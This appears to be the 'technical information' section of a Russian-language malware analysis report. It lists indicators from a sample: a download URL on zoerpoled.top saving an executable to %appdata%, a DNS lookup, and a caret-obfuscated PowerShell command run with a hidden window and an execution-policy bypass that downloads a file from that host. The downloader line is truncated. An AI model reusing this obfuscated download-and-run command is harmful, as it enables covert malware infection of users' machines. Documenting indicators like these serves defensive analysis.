Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "poWE^R^S^hel^L.Exe -eXEcUTIonPO^LiCy^ ^B^yP^Ass -^No^pro^f^Il^E^ -wind^o^wSt^yle^ HIDD^En (^ne^w-O^BjEC^t^ ^Syste^M^.^N^eT.w^ebcLI^EN^t^).d^oWnl^oADF^IlE('http://www.zoerpoled....
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "poWE^R^S^hel^L.Exe -eXEcUTIonPO^LiCy^ ^B^yP^Ass -^No^pro^f^Il^E^ -wind^o^wSt^yle^ HIDD^En (^ne^w-O^BjEC^t^ ^Syste^M^.^N^eT.w^ebcLI^EN^t^).d^oWnl^oADF^IlE('http://www.zoerpoled....' (со скрытым окном)